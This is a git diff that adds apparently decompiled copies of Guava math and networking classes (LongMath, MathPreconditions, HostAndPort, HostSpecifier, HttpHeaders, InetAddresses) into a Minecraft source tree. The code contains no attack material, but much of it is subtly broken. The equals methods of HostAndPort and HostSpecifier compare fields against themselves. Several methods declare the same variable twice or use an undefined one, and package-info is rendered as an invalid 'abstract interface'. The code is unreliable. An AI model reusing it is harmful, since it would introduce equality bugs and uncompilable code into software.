+      return numerator / denominator;
+    }
+    long commonDivisor = gcd(x, denominator);
+    x /= commonDivisor;
+    denominator /= commonDivisor;
+    
+
+    return x * (numerator / denominator);
+  }
+  
+
+
+
+
+  static final int[] biggestBinomials = { Integer.MAX_VALUE, Integer.MAX_VALUE, Integer.MAX_VALUE, 3810779, 121977, 16175, 4337, 1733, 887, 534, 361, 265, 206, 169, 143, 125, 111, 101, 94, 88, 83, 79, 76, 74, 72, 70, 69, 68, 67, 67, 66, 66, 66, 66 };
+  
+
+
+
+
+
+
+  @VisibleForTesting
+  static final int[] biggestSimpleBinomials = { Integer.MAX_VALUE, Integer.MAX_VALUE, Integer.MAX_VALUE, 2642246, 86251, 11724, 3218, 1313, 684, 419, 287, 214, 169, 139, 119, 105, 95, 87, 81, 76, 73, 70, 68, 66, 64, 63, 62, 62, 61, 61, 61 };
+  
+
+
+
+
+  static boolean fitsInInt(long x)
+  {
+    return (int)x == x;
+  }
+  
+
+
+
+
+
+
+
+
+  public static long mean(long x, long y)
+  {
+    return (x & y) + ((x ^ y) >> 1);
+  }
+  
+  private LongMath() {}
+}
diff --git a/src/minecraft/com/google/common/math/MathPreconditions.java b/src/minecraft/com/google/common/math/MathPreconditions.java
new file mode 100644
index 0000000..050ad32
--- /dev/null
+++ b/src/minecraft/com/google/common/math/MathPreconditions.java
@@ -0,0 +1,98 @@
+package com.google.common.math;
+
+import com.google.common.annotations.GwtCompatible;
+import java.math.BigInteger;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class MathPreconditions
+{
+  static int checkPositive(@Nullable String role, int x)
+  {
+    if (x <= 0) {
+      throw new IllegalArgumentException(role + " (" + x + ") must be > 0");
+    }
+    return x;
+  }
+  
+  static long checkPositive(@Nullable String role, long x) {
+    if (x <= 0L) {
+      throw new IllegalArgumentException(role + " (" + x + ") must be > 0");
+    }
+    return x;
+  }
+  
+  static BigInteger checkPositive(@Nullable String role, BigInteger x) {
+    if (x.signum() <= 0) {
+      throw new IllegalArgumentException(role + " (" + x + ") must be > 0");
+    }
+    return x;
+  }
+  
+  static int checkNonNegative(@Nullable String role, int x) {
+    if (x < 0) {
+      throw new IllegalArgumentException(role + " (" + x + ") must be >= 0");
+    }
+    return x;
+  }
+  
+  static long checkNonNegative(@Nullable String role, long x) {
+    if (x < 0L) {
+      throw new IllegalArgumentException(role + " (" + x + ") must be >= 0");
+    }
+    return x;
+  }
+  
+  static BigInteger checkNonNegative(@Nullable String role, BigInteger x) {
+    if (x.signum() < 0) {
+      throw new IllegalArgumentException(role + " (" + x + ") must be >= 0");
+    }
+    return x;
+  }
+  
+  static double checkNonNegative(@Nullable String role, double x) {
+    if (x < 0.0D) {
+      throw new IllegalArgumentException(role + " (" + x + ") must be >= 0");
+    }
+    return x;
+  }
+  
+  static void checkRoundingUnnecessary(boolean condition) {
+    if (!condition) {
+      throw new ArithmeticException("mode was UNNECESSARY, but rounding was necessary");
+    }
+  }
+  
+  static void checkInRange(boolean condition) {
+    if (!condition) {
+      throw new ArithmeticException("not in range");
+    }
+  }
+  
+  static void checkNoOverflow(boolean condition) {
+    if (!condition) {
+      throw new ArithmeticException("overflow");
+    }
+  }
+  
+  private MathPreconditions() {}
+}
diff --git a/src/minecraft/com/google/common/math/package-info.java b/src/minecraft/com/google/common/math/package-info.java
new file mode 100644
index 0000000..d4f4173
--- /dev/null
+++ b/src/minecraft/com/google/common/math/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.math;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/common/net/HostAndPort.java b/src/minecraft/com/google/common/net/HostAndPort.java
new file mode 100644
index 0000000..692a4f1
--- /dev/null
+++ b/src/minecraft/com/google/common/net/HostAndPort.java
@@ -0,0 +1,315 @@
+package com.google.common.net;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Strings;
+import java.io.Serializable;
+import javax.annotation.Nullable;
+import javax.annotation.concurrent.Immutable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@Immutable
+@GwtCompatible
+public final class HostAndPort
+  implements Serializable
+{
+  private static final int NO_PORT = -1;
+  private final String host;
+  private final int port;
+  private final boolean hasBracketlessColons;
+  private static final long serialVersionUID = 0L;
+  
+  private HostAndPort(String host, int port, boolean hasBracketlessColons)
+  {
+    this.host = host;
+    this.port = port;
+    this.hasBracketlessColons = hasBracketlessColons;
+  }
+  
+
+
+
+
+
+
+  public String getHostText()
+  {
+    return host;
+  }
+  
+  public boolean hasPort()
+  {
+    return port >= 0;
+  }
+  
+
+
+
+
+
+
+  public int getPort()
+  {
+    Preconditions.checkState(hasPort());
+    return port;
+  }
+  
+
+
+  public int getPortOrDefault(int defaultPort)
+  {
+    return hasPort() ? port : defaultPort;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static HostAndPort fromParts(String host, int port)
+  {
+    Preconditions.checkArgument(isValidPort(port), "Port out of range: %s", new Object[] { Integer.valueOf(port) });
+    HostAndPort parsedHost = fromString(host);
+    Preconditions.checkArgument(!parsedHost.hasPort(), "Host has a port: %s", new Object[] { host });
+    return new HostAndPort(host, port, hasBracketlessColons);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static HostAndPort fromHost(String host)
+  {
+    HostAndPort parsedHost = fromString(host);
+    Preconditions.checkArgument(!parsedHost.hasPort(), "Host has a port: %s", new Object[] { host });
+    return parsedHost;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static HostAndPort fromString(String hostPortString)
+  {
+    Preconditions.checkNotNull(hostPortString);
+    
+    String portString = null;
+    boolean hasBracketlessColons = false;
+    String host;
+    if (hostPortString.startsWith("[")) {
+      String[] hostAndPort = getHostAndPortFromBracketedHost(hostPortString);
+      String host = hostAndPort[0];
+      portString = hostAndPort[1];
+    } else {
+      int colonPos = hostPortString.indexOf(':');
+      if ((colonPos >= 0) && (hostPortString.indexOf(':', colonPos + 1) == -1))
+      {
+        String host = hostPortString.substring(0, colonPos);
+        portString = hostPortString.substring(colonPos + 1);
+      }
+      else {
+        host = hostPortString;
+        hasBracketlessColons = colonPos >= 0;
+      }
+    }
+    
+    int port = -1;
+    if (!Strings.isNullOrEmpty(portString))
+    {
+
+      Preconditions.checkArgument(!portString.startsWith("+"), "Unparseable port number: %s", new Object[] { hostPortString });
+      try {
+        port = Integer.parseInt(portString);
+      } catch (NumberFormatException e) {
+        throw new IllegalArgumentException("Unparseable port number: " + hostPortString);
+      }
+      Preconditions.checkArgument(isValidPort(port), "Port number out of range: %s", new Object[] { hostPortString });
+    }
+    
+    return new HostAndPort(host, port, hasBracketlessColons);
+  }
+  
+
+
+
+
+
+
+  private static String[] getHostAndPortFromBracketedHost(String hostPortString)
+  {
+    int colonIndex = 0;
+    int closeBracketIndex = 0;
+    boolean hasPort = false;
+    Preconditions.checkArgument(hostPortString.charAt(0) == '[', "Bracketed host-port string must start with a bracket: %s", new Object[] { hostPortString });
+    
+    colonIndex = hostPortString.indexOf(':');
+    closeBracketIndex = hostPortString.lastIndexOf(']');
+    Preconditions.checkArgument((colonIndex > -1) && (closeBracketIndex > colonIndex), "Invalid bracketed host/port: %s", new Object[] { hostPortString });
+    
+
+    String host = hostPortString.substring(1, closeBracketIndex);
+    if (closeBracketIndex + 1 == hostPortString.length()) {
+      return new String[] { host, "" };
+    }
+    Preconditions.checkArgument(hostPortString.charAt(closeBracketIndex + 1) == ':', "Only a colon may follow a close bracket: %s", new Object[] { hostPortString });
+    
+    for (int i = closeBracketIndex + 2; i < hostPortString.length(); i++) {
+      Preconditions.checkArgument(Character.isDigit(hostPortString.charAt(i)), "Port must be numeric: %s", new Object[] { hostPortString });
+    }
+    
+    return new String[] { host, hostPortString.substring(closeBracketIndex + 2) };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public HostAndPort withDefaultPort(int defaultPort)
+  {
+    Preconditions.checkArgument(isValidPort(defaultPort));
+    if ((hasPort()) || (port == defaultPort)) {
+      return this;
+    }
+    return new HostAndPort(host, defaultPort, hasBracketlessColons);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HostAndPort requireBracketsForIPv6()
+  {
+    Preconditions.checkArgument(!hasBracketlessColons, "Possible bracketless IPv6 literal: %s", new Object[] { host });
+    return this;
+  }
+  
+  public boolean equals(@Nullable Object other)
+  {
+    if (this == other) {
+      return true;
+    }
+    if ((other instanceof HostAndPort)) {
+      HostAndPort that = (HostAndPort)other;
+      return (Objects.equal(host, host)) && (port == port) && (hasBracketlessColons == hasBracketlessColons);
+    }
+    
+
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return Objects.hashCode(new Object[] { host, Integer.valueOf(port), Boolean.valueOf(hasBracketlessColons) });
+  }
+  
+
+
+  public String toString()
+  {
+    StringBuilder builder = new StringBuilder(host.length() + 8);
+    if (host.indexOf(':') >= 0) {
+      builder.append('[').append(host).append(']');
+    } else {
+      builder.append(host);
+    }
+    if (hasPort()) {
+      builder.append(':').append(port);
+    }
+    return builder.toString();
+  }
+  
+  private static boolean isValidPort(int port)
+  {
+    return (port >= 0) && (port <= 65535);
+  }
+}
diff --git a/src/minecraft/com/google/common/net/HostSpecifier.java b/src/minecraft/com/google/common/net/HostSpecifier.java
new file mode 100644
index 0000000..6cd52df
--- /dev/null
+++ b/src/minecraft/com/google/common/net/HostSpecifier.java
@@ -0,0 +1,178 @@
+package com.google.common.net;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.net.InetAddress;
+import java.text.ParseException;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class HostSpecifier
+{
+  private final String canonicalForm;
+  
+  private HostSpecifier(String canonicalForm)
+  {
+    this.canonicalForm = canonicalForm;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static HostSpecifier fromValid(String specifier)
+  {
+    HostAndPort parsedHost = HostAndPort.fromString(specifier);
+    Preconditions.checkArgument(!parsedHost.hasPort());
+    String host = parsedHost.getHostText();
+    
+
+
+
+
+    InetAddress addr = null;
+    try {
+      addr = InetAddresses.forString(host);
+    }
+    catch (IllegalArgumentException e) {}
+    
+
+    if (addr != null) {
+      return new HostSpecifier(InetAddresses.toUriString(addr));
+    }
+    
+
+
+
+    InternetDomainName domain = InternetDomainName.from(host);
+    
+    if (domain.hasPublicSuffix()) {
+      return new HostSpecifier(domain.toString());
+    }
+    
+    throw new IllegalArgumentException("Domain name does not have a recognized public suffix: " + host);
+  }
+  
+
+
+
+
+
+
+
+  public static HostSpecifier from(String specifier)
+    throws ParseException
+  {
+    try
+    {
+      return fromValid(specifier);
+
+    }
+    catch (IllegalArgumentException e)
+    {
+
+      ParseException parseException = new ParseException("Invalid host specifier: " + specifier, 0);
+      
+      parseException.initCause(e);
+      throw parseException;
+    }
+  }
+  
+
+
+
+  public static boolean isValid(String specifier)
+  {
+    try
+    {
+      fromValid(specifier);
+      return true;
+    } catch (IllegalArgumentException e) {}
+    return false;
+  }
+  
+
+  public boolean equals(@Nullable Object other)
+  {
+    if (this == other) {
+      return true;
+    }
+    
+    if ((other instanceof HostSpecifier)) {
+      HostSpecifier that = (HostSpecifier)other;
+      return canonicalForm.equals(canonicalForm);
+    }
+    
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return canonicalForm.hashCode();
+  }
+  
+
+
+
+
+
+
+
+  public String toString()
+  {
+    return canonicalForm;
+  }
+}
diff --git a/src/minecraft/com/google/common/net/HttpHeaders.java b/src/minecraft/com/google/common/net/HttpHeaders.java
new file mode 100644
index 0000000..6f830de
--- /dev/null
+++ b/src/minecraft/com/google/common/net/HttpHeaders.java
@@ -0,0 +1,95 @@
+package com.google.common.net;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+
+@GwtCompatible
+public final class HttpHeaders
+{
+  public static final String CACHE_CONTROL = "Cache-Control";
+  public static final String CONTENT_LENGTH = "Content-Length";
+  public static final String CONTENT_TYPE = "Content-Type";
+  public static final String DATE = "Date";
+  public static final String PRAGMA = "Pragma";
+  public static final String VIA = "Via";
+  public static final String WARNING = "Warning";
+  public static final String ACCEPT = "Accept";
+  public static final String ACCEPT_CHARSET = "Accept-Charset";
+  public static final String ACCEPT_ENCODING = "Accept-Encoding";
+  public static final String ACCEPT_LANGUAGE = "Accept-Language";
+  public static final String ACCESS_CONTROL_REQUEST_HEADERS = "Access-Control-Request-Headers";
+  public static final String ACCESS_CONTROL_REQUEST_METHOD = "Access-Control-Request-Method";
+  public static final String AUTHORIZATION = "Authorization";
+  public static final String CONNECTION = "Connection";
+  public static final String COOKIE = "Cookie";
+  public static final String EXPECT = "Expect";
+  public static final String FROM = "From";
+  @Beta
+  public static final String FOLLOW_ONLY_WHEN_PRERENDER_SHOWN = "Follow-Only-When-Prerender-Shown";
+  public static final String HOST = "Host";
+  public static final String IF_MATCH = "If-Match";
+  public static final String IF_MODIFIED_SINCE = "If-Modified-Since";
+  public static final String IF_NONE_MATCH = "If-None-Match";
+  public static final String IF_RANGE = "If-Range";
+  public static final String IF_UNMODIFIED_SINCE = "If-Unmodified-Since";
+  public static final String LAST_EVENT_ID = "Last-Event-ID";
+  public static final String MAX_FORWARDS = "Max-Forwards";
+  public static final String ORIGIN = "Origin";
+  public static final String PROXY_AUTHORIZATION = "Proxy-Authorization";
+  public static final String RANGE = "Range";
+  public static final String REFERER = "Referer";
+  public static final String TE = "TE";
+  public static final String UPGRADE = "Upgrade";
+  public static final String USER_AGENT = "User-Agent";
+  public static final String ACCEPT_RANGES = "Accept-Ranges";
+  public static final String ACCESS_CONTROL_ALLOW_HEADERS = "Access-Control-Allow-Headers";
+  public static final String ACCESS_CONTROL_ALLOW_METHODS = "Access-Control-Allow-Methods";
+  public static final String ACCESS_CONTROL_ALLOW_ORIGIN = "Access-Control-Allow-Origin";
+  public static final String ACCESS_CONTROL_ALLOW_CREDENTIALS = "Access-Control-Allow-Credentials";
+  public static final String ACCESS_CONTROL_EXPOSE_HEADERS = "Access-Control-Expose-Headers";
+  public static final String ACCESS_CONTROL_MAX_AGE = "Access-Control-Max-Age";
+  public static final String AGE = "Age";
+  public static final String ALLOW = "Allow";
+  public static final String CONTENT_DISPOSITION = "Content-Disposition";
+  public static final String CONTENT_ENCODING = "Content-Encoding";
+  public static final String CONTENT_LANGUAGE = "Content-Language";
+  public static final String CONTENT_LOCATION = "Content-Location";
+  public static final String CONTENT_MD5 = "Content-MD5";
+  public static final String CONTENT_RANGE = "Content-Range";
+  public static final String CONTENT_SECURITY_POLICY = "Content-Security-Policy";
+  public static final String CONTENT_SECURITY_POLICY_REPORT_ONLY = "Content-Security-Policy-Report-Only";
+  public static final String ETAG = "ETag";
+  public static final String EXPIRES = "Expires";
+  public static final String LAST_MODIFIED = "Last-Modified";
+  public static final String LINK = "Link";
+  public static final String LOCATION = "Location";
+  public static final String P3P = "P3P";
+  public static final String PROXY_AUTHENTICATE = "Proxy-Authenticate";
+  public static final String REFRESH = "Refresh";
+  public static final String RETRY_AFTER = "Retry-After";
+  public static final String SERVER = "Server";
+  public static final String SET_COOKIE = "Set-Cookie";
+  public static final String SET_COOKIE2 = "Set-Cookie2";
+  public static final String STRICT_TRANSPORT_SECURITY = "Strict-Transport-Security";
+  public static final String TIMING_ALLOW_ORIGIN = "Timing-Allow-Origin";
+  public static final String TRAILER = "Trailer";
+  public static final String TRANSFER_ENCODING = "Transfer-Encoding";
+  public static final String VARY = "Vary";
+  public static final String WWW_AUTHENTICATE = "WWW-Authenticate";
+  public static final String DNT = "DNT";
+  public static final String X_CONTENT_TYPE_OPTIONS = "X-Content-Type-Options";
+  public static final String X_DO_NOT_TRACK = "X-Do-Not-Track";
+  public static final String X_FORWARDED_FOR = "X-Forwarded-For";
+  public static final String X_FORWARDED_PROTO = "X-Forwarded-Proto";
+  public static final String X_FRAME_OPTIONS = "X-Frame-Options";
+  public static final String X_POWERED_BY = "X-Powered-By";
+  @Beta
+  public static final String PUBLIC_KEY_PINS = "Public-Key-Pins";
+  @Beta
+  public static final String PUBLIC_KEY_PINS_REPORT_ONLY = "Public-Key-Pins-Report-Only";
+  public static final String X_REQUESTED_WITH = "X-Requested-With";
+  public static final String X_USER_IP = "X-User-IP";
+  public static final String X_XSS_PROTECTION = "X-XSS-Protection";
+  
+  private HttpHeaders() {}
+}
diff --git a/src/minecraft/com/google/common/net/InetAddresses.java b/src/minecraft/com/google/common/net/InetAddresses.java
new file mode 100644
index 0000000..acd2df3
--- /dev/null
+++ b/src/minecraft/com/google/common/net/InetAddresses.java
@@ -0,0 +1,1011 @@
+package com.google.common.net;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.hash.HashCode;
+import com.google.common.hash.HashFunction;
+import com.google.common.hash.Hashing;
+import com.google.common.io.ByteArrayDataInput;
+import com.google.common.io.ByteStreams;
+import com.google.common.primitives.Ints;
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class InetAddresses
+{
+  private static final int IPV4_PART_COUNT = 4;
+  private static final int IPV6_PART_COUNT = 8;
+  private static final Inet4Address LOOPBACK4 = (Inet4Address)forString("127.0.0.1");
+  private static final Inet4Address ANY4 = (Inet4Address)forString("0.0.0.0");
+  
+
+
+
+  private InetAddresses() {}
+  
+
+
+
+  private static Inet4Address getInet4Address(byte[] bytes)
+  {
+    Preconditions.checkArgument(bytes.length == 4, "Byte array has invalid length for an IPv4 address: %s != 4.", new Object[] { Integer.valueOf(bytes.length) });
+    
+
+
+
+    return (Inet4Address)bytesToInetAddress(bytes);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static InetAddress forString(String ipString)
+  {
+    byte[] addr = ipStringToBytes(ipString);
+    
+
+    if (addr == null) {
+      throw new IllegalArgumentException(String.format("'%s' is not an IP string literal.", new Object[] { ipString }));
+    }
+    
+
+    return bytesToInetAddress(addr);
+  }
+  
+
+
+
+
+
+
+  public static boolean isInetAddress(String ipString)
+  {
+    return ipStringToBytes(ipString) != null;
+  }
+  
+  private static byte[] ipStringToBytes(String ipString)
+  {
+    boolean hasColon = false;
+    boolean hasDot = false;
+    for (int i = 0; i < ipString.length(); i++) {
+      char c = ipString.charAt(i);
+      if (c == '.') {
+        hasDot = true;
+      } else if (c == ':') {
+        if (hasDot) {
+          return null;
+        }
+        hasColon = true;
+      } else if (Character.digit(c, 16) == -1) {
+        return null;
+      }
+    }
+    
+
+    if (hasColon) {
+      if (hasDot) {
+        ipString = convertDottedQuadToHex(ipString);
+        if (ipString == null) {
+          return null;
+        }
+      }
+      return textToNumericFormatV6(ipString); }
+    if (hasDot) {
+      return textToNumericFormatV4(ipString);
+    }
+    return null;
+  }
+  
+  private static byte[] textToNumericFormatV4(String ipString) {
+    String[] address = ipString.split("\\.", 5);
+    if (address.length != 4) {
+      return null;
+    }
+    
+    byte[] bytes = new byte[4];
+    try {
+      for (int i = 0; i < bytes.length; i++) {
+        bytes[i] = parseOctet(address[i]);
+      }
+    } catch (NumberFormatException ex) {
+      return null;
+    }
+    
+    return bytes;
+  }
+  
+  private static byte[] textToNumericFormatV6(String ipString)
+  {
+    String[] parts = ipString.split(":", 10);
+    if ((parts.length < 3) || (parts.length > 9)) {
+      return null;
+    }
+    
+
+
+    int skipIndex = -1;
+    for (int i = 1; i < parts.length - 1; i++) {
+      if (parts[i].length() == 0) {
+        if (skipIndex >= 0) {
+          return null;
+        }
+        skipIndex = i;
+      }
+    }
+    
+    int partsHi;
+    int partsLo;
+    if (skipIndex >= 0)
+    {
+      int partsHi = skipIndex;
+      int partsLo = parts.length - skipIndex - 1;
+      if (parts[0].length() == 0) { partsHi--; if (partsHi != 0)
+          return null;
+      }
+      if (parts[(parts.length - 1)].length() == 0) { partsLo--; if (partsLo != 0) {
+          return null;
+        }
+      }
+    }
+    else {
+      partsHi = parts.length;
+      partsLo = 0;
+    }
+    
+
+
+    int partsSkipped = 8 - (partsHi + partsLo);
+    if (skipIndex >= 0 ? partsSkipped < 1 : partsSkipped != 0) {
+      return null;
+    }
+    
+
+    ByteBuffer rawBytes = ByteBuffer.allocate(16);
+    try {
+      for (int i = 0; i < partsHi; i++) {
+        rawBytes.putShort(parseHextet(parts[i]));
+      }
+      for (int i = 0; i < partsSkipped; i++) {
+        rawBytes.putShort((short)0);
+      }
+      for (int i = partsLo; i > 0; i--) {
+        rawBytes.putShort(parseHextet(parts[(parts.length - i)]));
+      }
+    } catch (NumberFormatException ex) {
+      return null;
+    }
+    return rawBytes.array();
+  }
+  
+  private static String convertDottedQuadToHex(String ipString) {
+    int lastColon = ipString.lastIndexOf(':');
+    String initialPart = ipString.substring(0, lastColon + 1);
+    String dottedQuad = ipString.substring(lastColon + 1);
+    byte[] quad = textToNumericFormatV4(dottedQuad);
+    if (quad == null) {
+      return null;
+    }
+    String penultimate = Integer.toHexString((quad[0] & 0xFF) << 8 | quad[1] & 0xFF);
+    String ultimate = Integer.toHexString((quad[2] & 0xFF) << 8 | quad[3] & 0xFF);
+    return initialPart + penultimate + ":" + ultimate;
+  }
+  
+  private static byte parseOctet(String ipPart)
+  {
+    int octet = Integer.parseInt(ipPart);
+    
+
+    if ((octet > 255) || ((ipPart.startsWith("0")) && (ipPart.length() > 1))) {
+      throw new NumberFormatException();
+    }
+    return (byte)octet;
+  }
+  
+  private static short parseHextet(String ipPart)
+  {
+    int hextet = Integer.parseInt(ipPart, 16);
+    if (hextet > 65535) {
+      throw new NumberFormatException();
+    }
+    return (short)hextet;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static InetAddress bytesToInetAddress(byte[] addr)
+  {
+    try
+    {
+      return InetAddress.getByAddress(addr);
+    } catch (UnknownHostException e) {
+      throw new AssertionError(e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String toAddrString(InetAddress ip)
+  {
+    Preconditions.checkNotNull(ip);
+    if ((ip instanceof Inet4Address))
+    {
+      return ip.getHostAddress();
+    }
+    Preconditions.checkArgument(ip instanceof Inet6Address);
+    byte[] bytes = ip.getAddress();
+    int[] hextets = new int[8];
+    for (int i = 0; i < hextets.length; i++) {
+      hextets[i] = Ints.fromBytes(0, 0, bytes[(2 * i)], bytes[(2 * i + 1)]);
+    }
+    
+    compressLongestRunOfZeroes(hextets);
+    return hextetsToIPv6String(hextets);
+  }
+  
+
+
+
+
+
+
+
+
+  private static void compressLongestRunOfZeroes(int[] hextets)
+  {
+    int bestRunStart = -1;
+    int bestRunLength = -1;
+    int runStart = -1;
+    for (int i = 0; i < hextets.length + 1; i++) {
+      if ((i < hextets.length) && (hextets[i] == 0)) {
+        if (runStart < 0) {
+          runStart = i;
+        }
+      } else if (runStart >= 0) {
+        int runLength = i - runStart;
+        if (runLength > bestRunLength) {
+          bestRunStart = runStart;
+          bestRunLength = runLength;
+        }
+        runStart = -1;
+      }
+    }
+    if (bestRunLength >= 2) {
+      Arrays.fill(hextets, bestRunStart, bestRunStart + bestRunLength, -1);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static String hextetsToIPv6String(int[] hextets)
+  {
+    StringBuilder buf = new StringBuilder(39);
+    boolean lastWasNumber = false;
+    for (int i = 0; i < hextets.length; i++) {
+      boolean thisIsNumber = hextets[i] >= 0;
+      if (thisIsNumber) {
+        if (lastWasNumber) {
+          buf.append(':');
+        }
+        buf.append(Integer.toHexString(hextets[i]));
+      }
+      else if ((i == 0) || (lastWasNumber)) {
+        buf.append("::");
+      }
+      
+      lastWasNumber = thisIsNumber;
+    }
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String toUriString(InetAddress ip)
+  {
+    if ((ip instanceof Inet6Address)) {
+      return "[" + toAddrString(ip) + "]";
+    }
+    return toAddrString(ip);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static InetAddress forUriString(String hostAddr)
+  {
+    Preconditions.checkNotNull(hostAddr);
+    
+    int expectBytes;
+    String ipString;
+    int expectBytes;
+    if ((hostAddr.startsWith("[")) && (hostAddr.endsWith("]"))) {
+      String ipString = hostAddr.substring(1, hostAddr.length() - 1);
+      expectBytes = 16;
+    } else {
+      ipString = hostAddr;
+      expectBytes = 4;
+    }
+    
+
+    byte[] addr = ipStringToBytes(ipString);
+    if ((addr == null) || (addr.length != expectBytes)) {
+      throw new IllegalArgumentException(String.format("Not a valid URI IP literal: '%s'", new Object[] { hostAddr }));
+    }
+    
+
+    return bytesToInetAddress(addr);
+  }
+  
+
+
+
+
+
+  public static boolean isUriInetAddress(String ipString)
+  {
+    try
+    {
+      forUriString(ipString);
+      return true;
+    } catch (IllegalArgumentException e) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isCompatIPv4Address(Inet6Address ip)
+  {
+    if (!ip.isIPv4CompatibleAddress()) {
+      return false;
+    }
+    
+    byte[] bytes = ip.getAddress();
+    if ((bytes[12] == 0) && (bytes[13] == 0) && (bytes[14] == 0) && ((bytes[15] == 0) || (bytes[15] == 1)))
+    {
+      return false;
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+  public static Inet4Address getCompatIPv4Address(Inet6Address ip)
+  {
+    Preconditions.checkArgument(isCompatIPv4Address(ip), "Address '%s' is not IPv4-compatible.", new Object[] { toAddrString(ip) });
+    
+
+    return getInet4Address(Arrays.copyOfRange(ip.getAddress(), 12, 16));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean is6to4Address(Inet6Address ip)
+  {
+    byte[] bytes = ip.getAddress();
+    return (bytes[0] == 32) && (bytes[1] == 2);
+  }
+  
+
+
+
+
+
+
+  public static Inet4Address get6to4IPv4Address(Inet6Address ip)
+  {
+    Preconditions.checkArgument(is6to4Address(ip), "Address '%s' is not a 6to4 address.", new Object[] { toAddrString(ip) });
+    
+
+    return getInet4Address(Arrays.copyOfRange(ip.getAddress(), 2, 6));
+  }
+  
+
+
+
+
+
+  @Beta
+  public static final class TeredoInfo
+  {
+    private final Inet4Address server;
+    
+
+
+
+
+    private final Inet4Address client;
+    
+
+
+
+
+    private final int port;
+    
+
+
+
+
+    private final int flags;
+    
+
+
+
+
+
+    public TeredoInfo(@Nullable Inet4Address server, @Nullable Inet4Address client, int port, int flags)
+    {
+      Preconditions.checkArgument((port >= 0) && (port <= 65535), "port '%s' is out of range (0 <= port <= 0xffff)", new Object[] { Integer.valueOf(port) });
+      
+      Preconditions.checkArgument((flags >= 0) && (flags <= 65535), "flags '%s' is out of range (0 <= flags <= 0xffff)", new Object[] { Integer.valueOf(flags) });
+      
+
+      this.server = ((Inet4Address)Objects.firstNonNull(server, InetAddresses.ANY4));
+      this.client = ((Inet4Address)Objects.firstNonNull(client, InetAddresses.ANY4));
+      this.port = port;
+      this.flags = flags;
+    }
+    
+    public Inet4Address getServer() {
+      return server;
+    }
+    
+    public Inet4Address getClient() {
+      return client;
+    }
+    
+    public int getPort() {
+      return port;
+    }
+    
+    public int getFlags() {
+      return flags;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static boolean isTeredoAddress(Inet6Address ip)
+  {
+    byte[] bytes = ip.getAddress();
+    return (bytes[0] == 32) && (bytes[1] == 1) && (bytes[2] == 0) && (bytes[3] == 0);
+  }
+  
+
+
+
+
+
+
+
+  public static TeredoInfo getTeredoInfo(Inet6Address ip)
+  {
+    Preconditions.checkArgument(isTeredoAddress(ip), "Address '%s' is not a Teredo address.", new Object[] { toAddrString(ip) });
+    
+
+    byte[] bytes = ip.getAddress();
+    Inet4Address server = getInet4Address(Arrays.copyOfRange(bytes, 4, 8));
+    
+    int flags = ByteStreams.newDataInput(bytes, 8).readShort() & 0xFFFF;
+    
+
+    int port = (ByteStreams.newDataInput(bytes, 10).readShort() ^ 0xFFFFFFFF) & 0xFFFF;
+    
+    byte[] clientBytes = Arrays.copyOfRange(bytes, 12, 16);
+    for (int i = 0; i < clientBytes.length; i++)
+    {
+      clientBytes[i] = ((byte)(clientBytes[i] ^ 0xFFFFFFFF));
+    }
+    Inet4Address client = getInet4Address(clientBytes);
+    
+    return new TeredoInfo(server, client, port, flags);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isIsatapAddress(Inet6Address ip)
+  {
+    if (isTeredoAddress(ip)) {
+      return false;
+    }
+    
+    byte[] bytes = ip.getAddress();
+    
+    if ((bytes[8] | 0x3) != 3)
+    {
+
+
+      return false;
+    }
+    
